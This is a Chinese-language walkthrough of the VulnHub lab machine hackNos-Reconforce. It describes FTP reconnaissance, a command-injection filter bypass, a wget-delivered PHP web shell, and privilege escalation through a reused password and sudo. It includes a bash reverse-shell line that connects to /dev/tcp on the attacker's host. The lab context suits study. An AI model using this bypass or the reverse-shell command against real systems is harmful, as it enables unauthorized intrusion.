vulnhub-hackNos-Reconforce

下载地址:https://www.vulnhub.com/entry/hacknos-reconforce,416/

前言:

作为小白(此处省略n个字),文章提到的工具及漏洞仅用于学习。最近有没有什么好看的番剧啊,求推荐啊!!!蹲在家里好无聊啊!!!

Kali:192.168.1.4

目标机:192.168.1.28

信息收集(确切的说应该是端口扫描):

vulnhub-hackNos-Reconforce

vulnhub-hackNos-Reconforce

vulnhub-hackNos-Reconforce

漏洞挖掘:

从扫描信息来看,又是ftp,可以匿名登录。进入看看内容。

vulnhub-hackNos-Reconforce

vulnhub-hackNos-Reconforce

里面真的啥也没有,既然如此,我想起了上次tftp,使用udp扫描出来的,这次也上udp扫描,扫描结果见信息收集。在它扫描的同时,我们进入80端口看看。

vulnhub-hackNos-Reconforce

点击中间的troubleshoot,要求输入用户名和密码。

vulnhub-hackNos-Reconforce

可以选择**,但是在不知道用户名的情况下,我一般不会冒然**。此时udp扫描还有没有完成(完成了,图略)。Udp扫描后无法没有发现任何可用的信息。此处我又遇到了类似于上次一个靶机的情况,提示不在ftp内,但是在 ftp的连接提示中,提示了登录的密码。(这一发现也是看了人家的解答才发现,感觉自己脑洞不够大,但是这信息缺失不能忽略,就像上次一个靶机提示有邮件一样,看似不起眼,总是很有用)

vulnhub-hackNos-Reconforce

获取[email protected],(我不是很喜欢**,因为密码字典不行,使用rockyou.txt太费时间了,但也确实**了,一下根据这个靶机作者的习惯,用户名一般就是hackNos,然后使用bp截包**,此处就略过)。现在去登录一下。然而,总是登不上去。后来发现,密码是[email protected]。我刚开始以为Secure是用户名,hackNos是密码,后来以为[email protected]是密码,用户名改为admin和hackNos(这也是看来人家的解答才知道的,我甚至一度根据提示以为recon是用户名,或者Security是用户名)。应该是和登录框的最上方提示有关吧。登录成功后,发现一个很典型的命令注入页面。

vulnhub-hackNos-Reconforce

vulnhub-hackNos-Reconforce

vulnhub-hackNos-Reconforce

接下来看看有啥过滤之类的。

vulnhub-hackNos-Reconforce

vulnhub-hackNos-Reconforce

目前看来“|”可以执行其他命令。尝试反弹shell。在反弹shell的过程中,发现,他好像过滤了“-”,此处直接反弹没反应,使用echo “bash -i > /dev/tcp/192.168.1.4/4444 0>&1”输出看看有没有过滤了什么,所以才发现了过滤了“-”,仔细看的话还发现过滤了“&”,一般来说可以直接读取out.php文件看看过滤了什么。

vulnhub-hackNos-Reconforce

现在读取一下执行命令的文件吧out.php,过滤条件如下:

vulnhub-hackNos-Reconforce

很明显感觉是从DVWA靶场搞过来的那个代码,乍一看全过滤,细看发现“|”后居然有个空格。所以可以使用“|”来执行命令。因为“-”被过滤了,想来想去,想到可以使用echo写一个php文件,然后访问反弹shell。先看看是否有写权限。发现确实有写权限,并且可以执行,如果文件夹不能写就修改文件,如果还是不行的话就去找找有没有其他的提示文件。执行的命令就略过了。

vulnhub-hackNos-Reconforce

vulnhub-hackNos-Reconforce

写入一句话木马,然后访问,反弹shell。此时,我突然想起很尴尬的事,它把括号给过滤了。Emmm,突然又想起,我们可以吧文件下过去。最先想到wget命令,可以看看能否执行。

vulnhub-hackNos-Reconforce

目的把test.php下载过去。

vulnhub-hackNos-Reconforce

vulnhub-hackNos-Reconforce

vulnhub-hackNos-Reconforce

vulnhub-hackNos-Reconforce

此时只要上传一个大马(kali自带)即可(步骤同上),使用nc开启监听。

vulnhub-hackNos-Reconforce

vulnhub-hackNos-Reconforce

访问一下,获取shell。

vulnhub-hackNos-Reconforce

获取flag。

vulnhub-hackNos-Reconforce

提权:

之前看过id了,此处就不看了。提权目前来看,只能是找可读文件,可执行文件,看系统版本找漏洞。找了文件带s的可执行文件,可读文件,都没有什么可用的(图略)。唯一学到了pkexec可以以root权限执行任何命令,类似于sudo,找到pkexec时,想到可以以root执行命令,那么会不会存在提权漏洞,发现两个漏洞,但是执行不成功,也就是说不存在漏洞。

vulnhub-hackNos-Reconforce

对于Linux的版本:

vulnhub-hackNos-Reconforce

搜索后也不存在漏洞。想来想去会不会当时登录的那个密码就是切换到用户recon的密码,尝试了一下,切换成功。

vulnhub-hackNos-Reconforce

知道密码可以看看sudo -l,列出sudo信息:

vulnhub-hackNos-Reconforce

Sudo可以执行任何命令,因此获取执行sudo或缺root的flag。

vulnhub-hackNos-Reconforce